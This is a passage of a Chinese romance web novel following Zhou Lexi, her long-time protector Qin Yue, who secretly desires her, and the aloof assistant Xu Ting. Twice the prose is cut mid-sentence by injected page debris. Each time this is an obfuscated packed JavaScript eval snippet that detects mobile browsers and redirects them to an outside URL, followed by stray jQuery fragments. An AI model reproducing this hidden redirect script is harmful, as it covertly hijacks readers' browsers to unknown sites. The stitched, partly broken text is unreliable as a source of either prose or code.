男人垂眸,眼底克制着的情绪被她一句话点燃,像风掠过微火,先是幽眇一闪,继而嗖地蹿起了一束灼目的烈焰。
他用指腹缓缓摩挲过那处被蚊子叮出的红痕,给她止痒。
厉旭叼着烟进来。
猝不及防撞见这一幕。
都是男人,厉旭很清楚男人看妹妹的庇护眼神和看女人的占有眼神之区别。
“……不是吧哥?!”门外,厉旭几次咬住烟又伸手拿掉,目光在秦越和里面熟睡的姑娘身上打转:“惜惜…?你…?”
秦越看向他:“惜惜?”
厉旭:“……”
厉旭低低靠了声,宛如毒唯撞见偶像恋情原地破防。
秦越:“管好你的嘴。”
“为什么?”厉旭更加不理解了:你干嘛不直接跟她表白?”
夜风穿堂过,高悬的月格外清冷。
秦越转过身,目光幽深地看向睡在沙发上的小姑娘,漫长的沉默后,他嗓音沙哑开口:“她只把我当哥。”
4. 你的家
信恒大厦。
午休时间已经过去一半,十楼的员工餐厅内没剩多少人。
许亭点了单,独自走到角落的空位坐下,过了会儿,服务生把他的餐送过来。
许亭拆开筷子,低头开始吃饭。
“嗨,好巧啊。”
一道轻快的声音突然从对面传了过来,许亭握筷子的动作明显顿了一下。
他缓缓抬头。
果然对上一双黑亮的眼睛。
夏日午后,慵懒的阳光穿透落地窗,将女孩纤瘦的身影勾勒在毛茸的光晕里。
她的每一缕发丝似乎都泛着光。
食堂里的低低交谈声突然停滞。
周乐惜的出现一下就吸引了周围为数不多还在用餐的几名员工的注意力。
“诶?好像是周小姐……”
“哪个周小姐?”
“还能有哪个,秦总的……”
海市秦家旗下的信恒集团作为行业龙头企业,旗下的分支机构与投资控股公司遍布海内外各个核心金融城市。
身为海市秦家的太子爷,秦越年纪轻轻便青出于蓝,从秦老爷子手中接掌这座庞大的商业帝国。
秦越决策果断,精于资本运作,宛如一位天生的大生意家。
上任之初,秦越雷厉风行的改革手段不免动了某些蛀虫的蛋糕。
面对那些仗着资历的高声反对,联名质问,秦越始终沉稳如山,迅速对集团做了一番大清洗,砍掉靠家族裙带关系进入集团的几位叔伯派系的亲信。
自此,集团气象焕新。
上至管理层下至基层员工无不谨守规章制度。
唯独周乐惜是个例外。
她不属于信恒集团任何部门里的一员,却能够在这座大厦来去自如,畅通无阻。
在周乐惜面前,秦越制定的所有规则都是无效的。
周乐惜看向许亭,伸手在空座位上虚点两下:“这里有人坐吗?”
她的手指纤长匀净,饱满的指甲涂着冰透的樱花粉色,带着从未经过任何风雨的娇贵。
许亭收回视线:“没。”
他声音简短,不带一丝多余的情绪。
“那我就坐啦。”
周乐惜笑着拉开椅子,许亭没再说话,低头继续吃饭。
周乐惜托着腮,歪头看他,黑亮的眼睛轻眨两下:“许亭,你平常都是一个人吃饭吗?”
许亭:“嗯。”
周乐惜:“一个人吃饭好安静呀。”
她喜欢热闹,周围也总是围满了人。
许亭没有抬头,只是吃饭的动作变得不那么自然。
周乐惜察觉,道:“对面坐着人,你不习惯吗?”
许亭:“…不是。”
周乐惜噢了一声,她看了看腕表,善意提醒:“快两点了,你再不吃就要上班了哦。”
许亭:“……”
气氛安静下来,仿佛无声对峙。
许亭沉默片刻,放下了筷子,随后拿起手机,指尖在屏幕上点了几下,然后垂眸放回口袋。
周乐惜看着他的动作,下一刻便听到自己的手机传来提示音。
许亭通过了她的好友申请。
周乐惜愣了一下,抬头看他。
就在这时,服务生端来打包好的咖啡放到周乐惜面前。
轮到许亭愣住了,他抿着唇。
他还以为……她过来找他,是追着要他同意微信好友申请。
周乐惜晃了晃手机,似笑非笑道:“于格说你们员工餐厅的手冲咖啡特别好喝,我今天突然想起来,就顺路过来尝尝啦。”
“你以为我是专门来找你的呀?”
许亭:“……”
她语调上扬,满是捉弄,明显在打趣他,却并不惹人生厌,反而多了几分平易近人。
她是闪闪发光的千金小姐,也是一个笑眼弯弯的小姑娘。
察觉自己耳廓微热,许亭脸色变冷,端着餐盘就要起身。
“干嘛干嘛?”周乐惜眼疾手快,一把揪住他的袖口,“你还没吃完呢。”
许亭视线不由落在她纤细的手腕上,那截手腕本就单薄,却叠戴着腕表,玉镯和一条手链,随着动作叮当作响。
“我走我走,你继续吃吧。”
周乐惜促狭一笑,很是善解人意地拎着咖啡起身走了。
没想到这个人冷冰冰的,还挺不禁逗,周乐惜暗暗翘起红唇。
她是还想跟他多说几句话来着,但也看得出来他不习惯有人盯着他吃饭。
他们的午休时间快结束了,她可不能让他饿着肚子忙一下午。
被周围人宠爱着长大,周乐惜的本性其实是有些霸道的,但在许亭面前,她总是下意识地收敛着,不想惊动到瘦瘦弱弱的他。
许亭看着她离去的背影,沉默两秒,重新坐了回去,拿起筷子。
片刻后,他抬眸。
盯了会儿对面已经空了的椅子。
-
“人呢?”
电梯出来,周乐惜推开秦越办公室的大门,里面却静悄悄的。
于格迎上前:“周小姐,您来找秦总吗?”
周乐惜:“嗯,他不在吗?”
她还想来炫耀一下自己追人总算有了一大进步呢,结果便听到于格说秦越今天一个上午都没来公司。
周乐惜有些意外。
秦越这一年都很忙,手上有几个大项目同时进行,凡是工作日他就没有缺勤过。
周乐惜正纳闷,忽然想起什么,她拿出手机点开朋友圈,往下滑,找到厉旭昨晚凌晨四点发的朋友圈。
周乐惜点开其中一张照片放大。
暗调光线里,从沙发朝酒台伸出一条手臂,袖口松散堆叠,小臂肌肉纹理硬朗,手掌宽大,指节微收斜握着一只酒杯。
周乐惜一眼就认出了这是秦越的手。
她从小牵到大的手。
她和乌灵逃学出去玩被厉旭举报给秦越,秦越偏帮厉旭的时候,她还气呼呼地往他手上咬过一口。
再看秦越面前空了的酒瓶,她喃喃:“喝这么多……”
凌晨四点还没结束,难怪今天没来上班,自从秦越接手信恒,他每天都很忙,周乐惜已经很久没见他这么放任过自己。
不过秦越的酒量并不差,就算桌上那些酒全是他喝的,也喝不醉。
周乐惜突然想起上次厉旭生日组局过后,她打秦越电话没人接,去他家才发现他是发烧了,根本不是喝醉。
近墨者黑,一定是厉旭那个狗东西劝酒,他最爱玩了。
“真让人操心……”
周乐惜低声嘟囔着,急忙转身。
连从旁边员工电梯口走出来的许亭都没看见,径直匆匆便进了专梯。
白色宾利从信恒大厦开出,周乐惜没用导航,熟门熟路地朝目的地开。
秦越的车牌能自动识别周家别墅区的电子栅栏,同样的,周乐惜的车子也能无障碍通过秦越家的小区地下车库闸机。
秦越的六连位联排车位总会空出一个,积年累月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179122|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安静等待着周乐惜到访。
周乐惜精准停进她的专属车位,拎着包下车,进电梯直达顶层。
[面部识别成功,欢迎回家。]
智能电子音响起,双开装甲门自动打开,周乐惜走进去,在玄关找到自己的Kitty拖鞋换上。
“秦越?”
周乐惜朝里面喊了声,没人回应。
包包放到沙发上,周乐惜环视四周,很快找到遥控器,随手按下,客厅电动窗帘缓缓拉开,室内的光线瞬间明亮起来。
二百七十度全景落地窗,窗外便能俯瞰海市的江岸风景。
秦越大学毕业就打算从秦家老宅搬出来独居,不巧这套房子要确定装修方案时,他正好在国外考察项目,没两三个月时间回不来。
于是房子内外的很多设计都是由周乐惜代为敲定的。
周乐惜把人送到机场,临别时秦越揉了揉她脑袋:“家里除了我,来最多的人只会是你,我定和你定,没区别。”
他的话很理所当然,周乐惜没听出哪里不对劲。
那会儿周乐惜刚上大一,正是被繁重的高中课业压迫终于得以放松的时刻。
也是满满一身精力充满干劲的年纪,于是拍拍胸口,很义气地包揽了下来。
然而装修一个房子,还是一个室内五百平外加露台三百平的房子,一点都没有周乐惜想象中的简单。
周乐惜的脑子里总是有两个声音在打架,一是秦越的审美,二是自己的审美,难以抉择。
周乐惜是一点烦恼都不肯多吃的,就想把活儿给推回去了。
秦越一通跨国电话打过来,哄了她半晌,肯定了她半晌,鼓励了她半晌。
最后一锤定音:“从里到外,全部按照你的审美来决定。”
有他这句话,周乐惜就敢干事了,也很喜欢秦越无论从小到大都这么放任她的语气。
烦恼一除,心情一好,小姑娘的声音从听筒里传来娇娇的,含着笑:“你怎么说的这好像是我自己的家。”
秦越沉默片刻,低哑着嗓音回她:“只要你愿意常来,就是你的家。”
-
窗帘全部打开,夏日午后的阳光迅速照了进来,周乐惜视线一转,看见了茶几上喝了还剩一半的醒酒茶杯。
周乐惜穿过走廊,看见朝南的主卧门没关紧,而是虚掩着。
“秦越……?”
从外往里看,一片漆黑。
周乐惜用一根手指轻轻推开,脑袋伸进去,声音也放轻了些。
秦越的主卧窗帘是百分百遮光的,周乐惜只能依靠门外照进来的微弱光亮辨别。
她蹑手蹑脚走进去。
大床上,秦越躺卧枕头,薄被随意盖到小腹,上身穿着黑色的睡衣,一条手臂懒懒抬起横挡在额前,眉梢微蹙,呼吸听起来均匀而沉稳。
周乐惜弯下腰,先轻轻挪开他的手臂,再用自己的掌心贴上他的额头,然后又翻过手背覆上去。
不是发烧,周乐惜放心了,看来纯粹就是喝多了。
宿醉挺难受的,周乐惜偶尔几次喝多了,醒来之后,脑袋里就像有无数个小人在里面开派对,一边举着荧光棒挥舞,一边蹦迪踹她的脑壳。
秦越还睡着,周乐惜不打算再打扰他,转过身正要走,手腕忽然被一只温热的手掌牢牢钳住了。
还不等她反应过来,一条结实的手臂从她的后方横越过腰间将她抱到了床上。
后背贴上一具温热的胸膛,将她整个人拢入怀中,严严实实裹住。
5. 有点痒
“好热…!”
周乐惜抬手,试图把横在腰间的手臂掰开,然而纹丝未动。
在她有所动作时秦越又收紧了几分,甚至一把扣住她的手腕。
像在占有不许任何人窥探的珍宝,她几乎被他嵌入胸膛。
周乐惜扭头往后看,却瞧不见秦越的脸,手腕不能动,她改用手肘抵了抵他。
“秦越,你别箍那么紧……!”
她又不是毛绒娃娃,能任由他揉捏搓圆的。
察觉到她的抵触,扣着她手腕的力道似乎松了松,却依旧把她圈抱着。
周乐惜挣脱不开,眨眼望向天花板,没招了。
秦越的意识先是被某种熟悉的香气唤醒,掌心传来的触感也比梦境更加真实。
隔着单薄夏装的温软,纤瘦腰腹伴随呼吸的起伏,发丝扫过他下巴带来的微凉痒意。
感知过于真实,秦越猛地睁开眼。
光线昏暗中,他先看见的是周乐惜发顶翘起的一撮呆毛。
他抱着她,她就在他怀里。
彼此近在咫尺,体格悬殊。
意识还未完全清醒,男人压制在心底的劣根性先不受控制地浮现开来。
这一刻,只要他想。
不管做什么,她都无法反抗。
无数肮脏恶劣的念头,在这具刚苏醒的成熟男性身体意识里翻涌,就像一把钝刀,正在来回拉扯,狠狠地剜着他的理智。
喉结滚动,秦越无声地咬紧牙关。
她对他从小到大的依赖,不是普通的亲近,而是毫无防备的信任。
在周乐惜看来,秦越是没有危险的,是绝对不会伤害她的。
“什么时候来的?”
声音比想象中还要沙哑。
眼底欲望散去,秦越不动声色地撤回手臂,拉开彼此之间的距离。
“你终于睡醒啦?”
周乐惜想回头看他,却被一只大手轻易按住了脑袋。
他不许她看。
“嗷!”周乐惜很不满:“干嘛老是按我的头!”
“抱疼你了?”
低哑的嗓音混着温热气息拂过她的发顶,又缓缓蔓延到后颈。
有点痒。
周乐惜愣了愣:“没……”
语气里多了一点茫然的迟疑。
秦越:“嗯。”
秦越松开她,起身,从床侧那边下去,背对着她,没回头,径直往浴室走。
周乐惜一骨碌坐了起来,默默盯着他的背影。
直到淅淅沥沥的水声传来,周乐惜才眨了眨黑亮的眼睛。
片刻后,她抬手摸向自己的后颈,什么也没有,但那块肌肤就是莫名有点发热。
冰冷的水柱砸向地面,很好地掩盖了男人喉咙滚出来的粗沉声。
潮湿的瓷砖,健壮紧实的脊背。
眼前开始闪过那截雪白的后颈,小巧的耳垂,饱满光泽的侧脸,扑扇的眼睫。
他看着她长大,每一个时期哪怕是微小的变化他都掌握得清清楚楚。
秦越对周乐惜百依百顺,从不舍得她皱一点眉头,更见不得她掉金贵的眼泪。
但此时,此刻。
欲望被理智吞噬的关口。
他忽然很想让她哭,让她趴在他怀里,让她温热的眼泪浸湿他的肩膀。
让她那双水润漂亮的眼睛,从此不敢再看向任何其他的男人。
-
周乐惜已经窝在沙发打了三局游戏,秦越才从主卧走出来。
时间显示过去一个钟,周乐惜两手端着手机,没空抬头:“还以为你又睡着了。”
秦越走过来,拎走桌上的茶杯,过了会儿,周乐惜面前多了杯青柠气泡水。
周乐惜游戏打得入迷,丝毫没察觉秦越站在不远处喝着冰水,视线几乎没从她那个方向移开过。
游戏赢了,周乐惜满脸笑,端起杯子喝了两口气泡水。
秦越:“怎么突然过来找我?”
周乐惜循声抬头,视线撞进一片冷白里,这才发现秦越穿的是浴袍。
松散的领口露出锁骨,再往上是那张冷隽的面容,带着湿意的碎发散在眉前。
秦越斜倚在岛台边,浴袍袖口卷到手肘,露出的小臂线条随着握杯的动作微微绷着。
她抬起头,他也看向她,那双看谁都带着几分淡漠的眉眼,此刻却浮现着薄薄一层温柔。
周乐惜莫名又想起了一个小时前的那个拥抱。
她总觉得今天的秦越有点不一样,却说不上来是哪里不一样。
周乐惜歪头:“于格说你今天一个上午都没露面。”
和他这一年的忙忙碌碌比起来,可谓反常。
秦越:“你去信恒了。”
周乐惜点头:“对呀。”
秦越停顿两秒:“找许亭?”
“看——”
说起这个,周乐惜立刻点开微信,起身凑到秦越面前:“我终于加到他微信了!”
秦越抿唇,眼底掠过一瞬波动,视线在扫过周乐惜的两个微信置顶,分别是家人群和他的聊天框后,又变得无言。
周乐惜爱热闹,身边围满了许多人,除了家人,秦越最重要,这点毋庸置疑。
周乐惜指尖轻点许亭的头像,想看看他的朋友圈。
然而只看到一些学术文章的转载,找不到一条他自己的原创动态。
对比起周乐惜色彩丰富五花八门的朋友圈,可以说很无聊了。
她刷着许亭的朋友圈。
秦越也垂眸看着她。
“惜惜。”
“嗯?”
半晌没听到下文,周乐惜疑惑抬头,然后脸就被秦越手里的冰水冰了一下。
周乐惜嘶了声,眼睛瞪圆:“你干嘛?”
秦越顺势把她的手机抽了过来,把一个锦盒塞到她手心。
“…什么啊?”
周乐惜打开锦盒,看到了躺在里面的一枚红宝石。
周乐惜眼睛倏亮,捏起那枚宝石走向落地窗,折射的火彩光斑瞬间照耀整个客厅。
“好漂亮啊!”
秦越看着她。
他转了转她的手机,自然收到自己的口袋兜里。
欣赏够了,周乐惜依旧爱不释手,三步并作两步走回秦越面前,眨着一双大眼睛问他:“我的了?”
秦越笑:“你的了。”
周乐惜立刻扑到他怀里。
秦越站得很稳,熟练地接住她。
她的后腰窝有一颗很小的痣,即便不用看,秦越的掌腹也能精准隔着衣料,包拢那颗浅痣。
周乐惜抱得快,分开得也快,满心满眼都在宝石上。
她的脑子里甚至已经有了设计图,是做成胸针好呢,还是做成钻石项链。
不给秦越反悔的机会,周乐惜飞快啾地一声亲在宝石上,跟戳私印似的。
秦越盯着那抹柔软的粉挤压在宝石上,目光分外沉静。
秦越:“晚上有事吗?”
周乐惜原本的计划是既然加上了许亭的微信,那就要多给他发发消息,聊聊天,刷刷存在感。
“没事没事,”这会儿收到宝石,周乐惜一脸乖巧悉听尊便道:“秦总您有什么吩咐呢?”
秦越笑了,哪敢‘吩咐’她,他只是要带她去吃饭,让她陪他参加今晚的饭局。
秦越从不把公事私事混为一谈,除非对方是周乐惜。
他舍不得把她放回去,干脆把她带在身边。
-
晚上,城市霓虹渐次亮起。
迈巴赫开到会所门口,礼宾上前,左手打开车门,右手虚扶车门上沿。
包厢在二楼,落地窗外便是街景。
厉旭竟然也在,想到此刻睡在她包里的红宝石,周乐惜忍了忍没跟他斗嘴。
但厉旭就喜欢招惹周乐惜,一看到她便阴阳怪气丢来一句:“哟,这谁啊。”
周乐惜:“你谁,厉旭?天呐,丑成这样我都不敢认了!”
她微扬下巴,快准且狠。
莫名有几分秦越年少桀骜时的样子。
厉旭被噎得不轻,又见秦越已经朝他看过来一眼。
厉旭啧了声,嘀嘀咕咕:“眼光都差成那样了,认不出我很正常。”
周乐惜没听见,她喜欢包厢的窗景,挑了张视野最好的椅子。
不多时,侍应生迎进来好几位身着西装的男人,瞧见主位上坐着的是个年轻的小姑娘,他们皆是一愣。
目光一转,这才锁定目标。
含笑朝主位右侧坐着的男人弯腰伸手:“秦总,抱歉抱歉,路上堵车来迟了。”
来会所的路上周乐惜就已经选好了菜品,就算是陪秦越参加饭局,吃什么喝什么也要她来定,要是一桌没有她爱吃的,她可不陪。
席间认真尝菜的也只有周乐惜,她吃得满意了,才会分神听一听他们在交谈什么。
“听得懂吗你?”身边传来只有周乐惜能听见的一句低语。
圆桌并没有坐满,厉旭不知道什么时候坐到了她旁边。
“都是人话我怎么听不懂。”
周乐惜轻飘飘睨过去:“你开口就不一定了。”
厉旭:“……”
秦越身边分别坐着周乐惜,和对方团队的主要负责人,很健谈,尤其察觉到秦越今晚兴致不错,更加滔滔不绝起来。
外界对秦越评价最多的,一是他令人艳羡的政军商三界保驾护航的深厚背景,二是他贵不可攀的冷漠性格。
然而其实只要对方的确有过人的才能,秦越从不吝啬给予机会与资源。
真正令人敬畏的,靠的不仅是秦越的背景,而是他洞悉局势的睿智,关键时刻的信任。
天之骄子既有不怒自威的气场,也有识人用人的格局,才是令人由衷追随的根本原因。
这时,一只纤细的手越过桌面,将一盏精致的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179123|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骨瓷汤碗搁在了秦越面前。
白瓷碗冒着热气,琥珀汤色在灯光下泛着诱人的光泽。
秦越侧首,对上一双含笑的眸子。
周乐惜没开口插话,冲他眨眨眼:
喝口汤润一润嗓子吧,歇歇再聊吧!
秦越弯了下薄唇。
笑容很淡,清冽中透出柔和。
沉浸在工作中的男人格外沉稳可靠,凝聚着全场的注意力,周乐惜也不自觉多看了他几眼。
直到自己的手臂被戳了戳。
扭头。
厉旭伸指点了点自己的空汤碗。
周乐惜嘁了声,没鸟。
商务宴席,周乐惜举止得体,更不会低头玩手机来打发时间,她安静地坐着。
只是吃好喝好,她渐渐觉得有些无聊了,托着下巴,目光漫不经心地投向落地窗外的夜景。
只这一眼,周乐惜便愣住了。
先是诧异,再到确定,她从椅子上站起身:“我出去一下。”
厉旭盯着她的背影:“急急忙忙干什么去……”
包厢谈话继续,秦越的兴致却淡了几分,尤其当他的视线投向窗外,眼神渐渐冷凝下来。
以为合作已经十拿九稳的西装男人神色也跟着一紧,不知道发生了什么。
直到秦越终于重新开口,给予中肯评价:“调研很详细。”
得到准话,众人如释重负。
-
周乐惜第一次佩服自己的好视力。
隔着这么远都能一眼看见在绿荫道上走路的许亭。
“许亭——”
她的声音穿过夜色。
许亭只是顿了顿,步伐并没有因此停止下来,也没有加快。
“干嘛我越叫你越走呀?”
女孩的声音里带着几分娇憨的抱怨,听到这句,许亭不自觉地,放慢了脚步。
直到终于被身后由远及近的人拦在面前。
许亭垂下眼帘,目光落在她因为小跑而变得红扑扑的脸颊。
她每次出现都这么鲜活。
“找我有事?”
“一定要有事吗,我看到了你当然要过来跟你打声招呼啦。”
“我们不熟。”他的话无异于一盆从天而降的冷水。
“啊?”周乐惜瞪圆了眼,那双自信满满的眼睛里写满了不可思议:“我以为我们至少是朋友了呢!”
许亭沉默了。
他看着她,眼里第一次闪过一丝几不可察的波动。
甚至是……愧疚。
他刚才那四个字,或许真的有些重了。
但许亭并不习惯收回自己说过的话,也不擅长解释。
他垂下眼眸,声音冷而平静:“我没有朋友。”
周乐惜立刻道:“那我刚好可以做你的第一个朋友!”语气里满是真诚。
“可不可以嘛,许亭?”
她向前迈了一小步,声音放软。
周乐惜从小到大,很少遇到“不可以”的事情,她那双黑亮的眼睛像小钩子,只要轻轻一眨,轻易就能勾起旁人心甘情愿地妥协。
许亭又沉默了,不自觉移开目光。
周乐惜目不转瞬,她在心里默念三秒,一,二,三。
“……嗯。”
周乐惜笑了。
许亭抿着唇,重新掀眸,看着她的笑容。
气氛微妙之际,一道高大挺拔的身影从绿荫暗处缓步走了出来。
男人步伐沉稳,一双深眸淡淡扫了过来。
许亭最先看见秦越,以及他手中拎着的那个小巧的女士手包。
他一身沉肃,唯有手中的包是鲜亮的颜色,明明格格不入,偏偏他拎着它的姿态却又那么熟练自如。
毫无疑问,那是周乐惜的包。
许亭眼神微凝,情绪也瞬间收敛。
像是一汪才刚被激起涟漪的水面,立刻恢复往日冷寂。
许亭:“秦总。”
秦越目光沉静,淡淡点了点头作为回应,他对下属赏罚分明,既不过分亲近,也不会故意摆高冷架子。
秦越从不要求助理必须二十四小时待命,他们是人,不是机器。
工作之外的时间,他们是自由的,上司和下属亦可以是陌生人关系。
许亭握了握左肩的背包带,只看一眼周乐惜便垂眸:“我先走了。”
“啊好,”周乐惜朝他笑:“拜拜……”
许亭单薄的背影渐渐隐入夜色,周乐惜看着看着,脚步不自觉前倾。
她动了动腿,然而还没迈出半步,手腕忽然被一把扣住。
周乐惜愣了下,下意识转头,对上了秦越那双深沉、极具压迫感的眼睛。
他好像变了个人,却又转瞬即逝。
“……怎么了?”周乐惜有些茫然。
“不早了,我送你回家。”
秦越语气平静,扣着她的手腕没松,不给她拒绝的余地。
6. 最依赖
电梯停靠七楼,许亭走出来,沿着灯光泛白的走廊缓行,最后停在尽头的一间房门前,刷卡开门。
这座公寓的地理位置有些偏。
以信恒集团的薪资水平,哪怕身为实习期的工资也远超行业平均。
许亭可以租个地段更好的房子。
但他物欲极低,只要环境干净整洁便足够。
他在这座繁华的城市中生存,却没有任何归属感,他只不过是人海中寻常的一个。
学习,工作,日子循环往复,他不需要多余社交,更没有特别的爱好,生活平静得就像一潭死水。
洗过澡,许亭接了杯水站在窗边。
屋内一如既往静谧,可他的耳畔却始终响起另一道声音,眼前也不是窗外昏暗的夜,而是那张盈满笑意的脸庞。
她的存在感,无孔不入。
手机发出振动,进来一则消息。
是惜惜不是嘻嘻:[许亭,你到家了吗?]
紧接着是一个小狗探头的表情包。
许亭垂眸,点开周乐惜的头像。
一望无际的海,朝阳在她身后升起,女孩一身挂脖长裙被晨曦笼罩。
乌黑的发丝被海风轻轻撩起。
有些乱,却生动。
更夺目的是那张面对镜头,明媚灿烂,盈盈而笑的脸。
许亭静静凝视着,眸光微动。
-
八月底,港城举办国际珠宝展。
周乐惜很感兴趣,刚好周敏宜要去港城出差,于是姐妹俩预定同一个航班。
但没想到顾洲白也同行。
周乐惜歪歪头,指指自己:“我会不会太亮啦?”
周敏宜失笑,丢下未婚夫,揽住妹妹的肩膀:“姐姐下午没事,陪你一起看展。”
周乐惜立刻亲了亲姐姐的脸颊。
就算当电灯泡,那也是姐姐最宝贝的电灯泡!
航班刚落地港城。
周乐惜便接到了秦越的电话。
周乐惜爱玩,以前一放寒暑假就天南海北地去,秦越没接手信恒前,基本一次不落陪着她。
后来公事千头万绪,秦越分身乏术,好在周乐惜身边从不缺玩伴,乌灵也好旁人也好,都是一叫就成群结队。
没了秦越陪伴,周乐惜开始并不习惯,感受过秦越和自己方方面面的合拍,再对比别人的,哪怕是细微处也能感觉到差距。
但渐渐地周乐惜也还是习惯了。
秦越是不可能一直陪着她的。
唯一不变的是,周乐惜不管往哪飞,都习惯性地跟秦越报备。
有时候大小姐实在犯懒,便把堂堂秦家太子爷当‘导游’用,撒娇喊他哥哥,要他给她制定最佳行程,要他预订景色最好的酒店,要他从头到尾把什么都给她安排好。
秦越无有不允。
周乐惜也最依赖秦越。
听筒传来小姑娘娇气的声音,吐槽港城气候湿热,好想马上就能回到酒店再一头扎进顶层泳池里。
秦越听着,又问她几号返程,另一只手从容签着文件,笔锋利落。
周乐惜:“我要和姐姐去买鸡蛋仔冰激淋!挂啦!”
秦越淡笑一声,应了。
他在人前疏冷惯了,少有笑脸。
秦越挂断电话,文件也全部签好,合上,递给候在桌前的人,抬眸时眼底已敛去全部笑意。
许亭接过文件,就准备出去。
秦越:“许助理。”
许亭转身动作微顿。
秦越:“乐惜年纪轻,又被我纵得娇气,有什么冒犯你的地方,多包涵。”
“没有。”许亭脊背绷得笔直,喉结微动:“周小姐没有冒犯我。”
秦越看着他,目光掠过他紧绷的下颌线,最后停在那双平静无澜的眼睛上。
-
珠宝展在港城会展中心举办,场馆很大,周乐惜有目标,直接往高端珠宝展区走。
秦越的生日快到了。
这就是周乐惜此行的目的。
只是看来看去,都没有能让她一眼就相中的。
周乐惜是很相信第一眼感觉的人,真正能入她眼的,根本无需再看第二眼。
周敏宜看中了一枚高冰种的翡翠。
姐姐几乎没佩戴过翡翠,年纪还压不住,周乐惜疑惑一问,才知是买来送给顾洲白的母亲。
周乐惜又转了一圈,依旧没有心头好。
刚好后天港城有一场佳士得拍卖会要举办,她打算再去物色物色。
要还是找不到满意的,她就只能送一个拥抱给秦越了。
-
回到酒店,姐妹俩换好衣服正准备去吃烤肉,大堂里,一行人迎面走来。
为首的年轻男人西装笔挺,银丝眼镜透着斯文温润的气度。
看到她们,顾洲白侧首说了什么,身后跟着的随行人员默默散开。
顾洲白朝她们走来。
周乐惜乖巧喊人:“姐夫。”
顾洲白温和颔首,转向周敏宜:“订餐了吗?”
“还没。”周敏宜轻声回答:“我和惜惜准备出去吃。”
像是才想起似的,周敏宜生硬地补充:“你要一起去吗?”
顾洲白绅士笑笑,婉拒道:“我稍后还有公事,你们去吧。”
有他加入,姐妹俩会没那么自在。
上车后,周乐惜歪头打量周敏宜,有些疑惑道:“姐,我怎么感觉你跟姐夫怪怪的,好像不太熟的样子。”
顾洲白是周敏宜自己挑选的结婚对象,大学同学,门当户对,双方家长也都满意。
周敏宜只是笑笑,没作解释。
白天是不熟,晚上挺熟的。
-
拍卖会结束的午后,周乐惜这颗电灯泡很有眼色地先行返程了。
落地海市机场,司机来接。
回到家,秦越的视频通话打了过来。
周乐惜在他面前向来随性,没什么正形地趴在沙发上就接下了。
周乐惜说起在珠宝展虽然零个收获,但是在拍卖会上收了几样心头好。
秦越走到窗边,目光专注地看着她粉唇张合,喋喋不休。
谈及自己感兴趣的东西,她总是眉飞色舞,眼里有着光芒。
就像,她在他面前屡次提起许亭的时候一样。
周乐惜维持着趴卧的姿势,把下巴搁在交叠的手背上。
直到肖姨端着甜汤走进来,叫了她一声,周乐惜抬头去看,同一瞬间,居家服领口下滑开来。
一抹晃眼的雪白,饱满而丰盈。
秦越手指微紧,握住手机,停顿两秒,不动声色地移开目光。
周乐惜一骨碌坐了起来,抱着瓷碗用勺子喝甜汤,偶尔回头瞥一眼竖立在沙发旁的手机。
“哥哥,你什么时候回来?”她问他。
“下周。”秦越应她。
嗓音里多了几分难以察觉的沙哑。
周乐惜刚回海市,凑巧,秦越也刚飞京市出差。
送给秦越的礼物还需要‘加工’,周乐惜盘算着他回来的时间。
她一向藏不住事儿,礼物做好了就迫不及待想送出去,不必非等到秦越生日那天才亮相。
于是接下来几天,周乐惜都乖乖猫在家,大门不出待在书房专心捣鼓。
送给秦越的,她从不马虎。
哪怕真的只是送他一个拥抱,周乐惜也会用最真诚的心意去拥抱他。
-
阳光刺眼,午觉起来,周乐惜照旧进书房忙碌。
伸了个懒腰,周乐惜往椅背靠,随手拿起手机,想看一眼时间。
一看到星期六三个字,她才想起一件事,倏地站起身。
肖姨端着刚切好的水果就要上楼,就见周乐惜风一样从楼梯下来,直冲大门。
“什么事这么急呀,”肖姨追到门口,不放心叮嘱:“开车慢点!”
周乐惜从车窗探出手摇了摇。
肖姨望着远去的轿车,摇头轻笑。
宾利一路穿过城市高楼,驶入郊区。
最后停在挂牌[爪爪流浪动物救助基地]大门口。
周乐惜下车,走进去。
两栋两层高的小平房伫立在南侧,中间是千平草地,阳光正好,浅池波光粼粼。
虽然地方简朴,但此刻正在草地上或散步或追逐的猫狗们一只只都膘肥体壮。
一看就知道基地的人把它们养得很好,钱也都是花在刀刃上的。
周乐惜很满意。
周乐惜扫视一圈,果然看到一个清瘦身影抱着一只猫半蹲在草坪上。
她悄悄走过去,在他左肩拍了拍。
许亭回头。
“在这呢!”
周乐惜站在他右边,一脸俏皮。
许亭错愕:“你……”
“又见面啦许亭!”
周乐惜马上说:“这次我承认,我就是专门来找你的!”
许亭默了默,几度欲言又止:“你怎么知道我在这?”
周乐惜理所当然地晃了晃手机:“你的朋友圈转发过这家基地的公众号文章。”
许亭沉默了。
周乐惜看向许亭怀里的三花猫:“元宝怎么啦?”
“跟其他猫打架,脸被抓伤了,不过没事。”话顿,许亭错愕看向她:“你怎么知道它叫元宝?”
“我为什么不知道。”
周乐惜挺
